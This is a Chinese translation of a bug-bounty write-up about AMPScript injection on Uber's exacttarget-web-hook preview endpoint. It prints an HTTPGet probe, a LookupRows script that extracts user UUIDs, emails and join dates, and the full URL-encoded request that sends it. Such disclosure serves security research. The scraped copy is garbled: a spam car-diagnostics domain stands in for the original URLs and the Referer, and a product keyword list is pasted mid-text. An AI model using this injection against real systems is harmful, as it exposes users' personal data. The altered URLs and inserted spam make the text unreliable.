利用AMPScript获取Uber用户数据的访问权限
现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中,新资产被迅速部署并暴露于公共互联网,已有资产也在不断发展。
要跟上这个不断变化的攻击面是很难的,更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效,在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。
解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台(Continuous Security Platform)监控大型攻击面时,经常发现由资产结构变更导致的新的或未发现的漏洞。
这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况:exacttarget-web-hook.uber.com。
很长一段时间,子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天,子域名返回了一个像是Uber消息个性化系统的内部测试响应:

Assetnote CS在https://iprog-programmer.chinaobd2.com/
乍一看,该应用程序看起来像一个用于测试文本消息的API控制台,该消息包含用户的个性化设置。
我们尝试根据提供的“测试contractKey”来利用API控制台,但失败了。经过一番调查后,我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID,而不是API控制台页面上提供的UUID。在登录后,我们从https://iprog-programmer.chinaobd2.com/的HTML源码中提取到了UUID。
在使用正确的Uber帐户的UUID填入contactKey参数后,我们能够发送API请求到preview接口:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://iprog-programmer.chinaobd2.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
本文前面所示的截图正是API控制台中preview接口返回的“消息”:
%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.
通过调查语法并联想到子域名为exacttarget-web-hook,我们意识到上面的代码实际上是AMPScript。
Salesforce的Marketing Cloud发明了AMPScript脚本语言,它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中,以控制展示给个人消费者的内容。 AMPScript由ExactTarget开发,在2013年被Salesforce收购。
一开始使用API控制台中提供的示例AMPScript失败了,于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP GET请求并得到响应内容:

运行AMPScript的查询语句:
%%=HTTPGet('https://ipinfo.io')=%%
很好!我们能够利用任意的AMPScript!但是,我们通过HTTPGet函数发起的请求并非Uber服务器产生的,如上图所示,它来自AS22606 ExactTarget,Inc。
为了演示该漏洞的影响,我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。
通过阅读有关LookupRows函数的AMPScript文档,我们可以写一个这样的AMPScript脚本:
- 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
- 将查询结果存储到数组中。
- 迭代访问数组并打印值。
最终的AMPScript如下:
%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
SET @Row = Row(@prefArray, @i)
SET @ID = Field(@Row, 1)
SET @UUID = Field(@Row, 2)
SET @joinDate = Field(@Row, 3)
SET @email = Field(@Row, 4)
SET @firstName = Field(@Row, 5)
]%%
%%=V(@UUID)=%%
%%=V(@joinDate)=%%
%%=V(@email)=%%
%%=V(@firstName)=%%
%%[
NEXT @i
]%%
当此AMPScript发送请求到preview接口后,响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。
对preview接口的HTTP请求如下:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://exacttarget-web-hook.uber.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
Vag COM , TCS CDP , VAS5054A , GM Tech2 , Iprog+ Programmer , Orange 5 programmer , SBB3 PRO3 Key Programmer , wiTech MicroPod II , T300+ Key Programmer, Iprog, Scania VCI3, mercedes star diagnostic, Porsche Piwis, vocom 88890300, Renault CAN Clip, SBB Key Programmer, NEXIQ USB Link
响应(UUID和邮箱地址已打码):

Uber返回的所有用户名叫‘Shubs’的数据
如上所示,返回了许多名为Shubs的用户的详细信息(我已修改截图仅展示测试帐户)。攻击者可以编写AMPScript来提取大量的数据,或者搜索Uber数据中名叫XXX的特定人,并提取他们的UUID和电子邮件地址。
利用AMPScript获取Uber用户数据的访问权限的更多相关文章
- Kubernetes RBAC授权普通用户对命名空间访问权限
Kubernetes RBAC授权普通用户对命名空间访问权限 官方文档:https://www.cnblogs.com/xiangsikai/p/11413970.html kind: Role ap ...
- 使用腾讯开发平台获取QQ用户数据资料
<今天是七夕:祝大家七夕嗨皮,前可么么哒,后可啪啪啪> Tips:本篇博客将教你如何使用腾讯开发平台获取QQ用户资料 ----------------------------------- ...
- Struts2 利用拦截器 interceptor 控制登陆和访问权限
最近学习了Struts2的登录和权限控制用到的是拦截器,需要在struts.xml中配置,每个action都默认的继承defaultStack,如果你用了别的拦截器,还需要手动引入defaultSta ...
- [App Store Connect帮助]二、 添加、编辑和删除用户(4)更改用户的 App 访问权限
您可以限制具有“App 管理”.“客户支持”.“开发者”.“营销”或“销售”职能的用户(均不具有“访问报告”职能)拥有哪些 App 的访问权限.如果您不更改他们的用户 App 访问权限,他们将默认拥有 ...
- SQL Server新增用户并控制访问权限设置。
新增用户: 一.进入数据库:[安全性]—>[登录名]—>[新建登录名] 二.在常规选项卡中.如图所示,创建登录名.注意设置默认的数据库. 三.在[用户映射]下设置该用户所能访问的数据库.并 ...
- 利用PHP连接数据库——实现用户数据的增删改查的整体操作实例
main页面(主页面) <table width="100%" border="1" cellpadding="0" cellspac ...
- springMVC+request.session实现用户登录和访问权限控制
用springmvc mybatis实现用户登录登出功能,使用session保持登录状态,并实现禁止未登录的用户访问.感谢谷歌资源,在这里做个学习记录加深自己的印象. 原文在我的https://my. ...
- sqlserver2012 用户指定数据库访问权限
这样 用户进入的时候 就只能访问指定数据库 点击其他 显示
- Android各种访问权限Permission详解
原文:http://jingyan.baidu.com/article/afd8f4de4688af34e386e976.html 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需 ...
随机推荐
- ECMAScript6 - 2.变量的解构赋值
1.数组解构赋值 1.1.基本用法 // (1)对数组变量赋值 let [foo, [[bar], baz]] = [1, [[2], 3]]; foo; // 1 bar; // 2 baz; // ...
- 如何导出chrome已安装的拓展程序
如何导出chrome已安装的拓展程序 已安装的chrome插件可以在浏览区中输入*chrome://extensions*便可以查看插件列表. 对于windows系统来说,这些插件对应的目录为: C: ...
- pandas合并数据集-【老鱼学pandas】
有两个数据集,我们想把他们的结果根据相同的列名或索引号之类的进行合并,有点类似SQL中的从两个表中选择出不同的记录并进行合并返回. 合并 首先准备数据: import pandas as pd imp ...
- UOJ#276. 【清华集训2016】汽水 二分答案 点分治
原文链接https://www.cnblogs.com/zhouzhendong/p/UOJ276.html 题解 首先,读入的时候就将所有的 $w_i$ 减掉 $k$ . 于是我们要求的就是平均值最 ...
- django——web框架简介
1.web应用 Web应用程序是一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件. 应用程序有两种模式C/S.B/S.C/S是客户 ...
- OI/ACM 刷题网站 人气OJ简介
SPOJ简介 SPOJ是波兰最为出色的Online Judge之一,界面和谐,题目类型也非常丰富,适合有一定基础的选手练习,对高手而言也是个提高能力的良好平台. SPOJ题目分类:class ...
- Docker ElK安装部署使用教程
一.简介 1.核心组成 ELK由Elasticsearch.Logstash和Kibana三部分组件组成: Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引 ...
- C语言面试题分类->宏定义
1.写一个“标准”宏,这个宏输入两个参数并返回较小的一个 答:#define MIN(x, y) ((x)<(y)?(x):(y))//注意x,y要加括号,因为x,y如果有复合运算会出现问题. ...
- PDF文件怎么转换成PPT
在日常办公中大家都会发现PDF文件目前是比较常见的一种文件,有的时候大家会需要将PDF转换成PPT为了去更好的演示,毕竟PPT文件在演示方面具有着较好的特点,那如何将PDF文件转换成PPT文件呢,今天 ...
- linux ---docker篇
Docker docker是什么? docker最初是dotCloud公司创始人Solomom Hykes在法国期间发起的一个公司内部项目,它是基于dotCloud公司多年云服务技术的一次革新,并在2 ...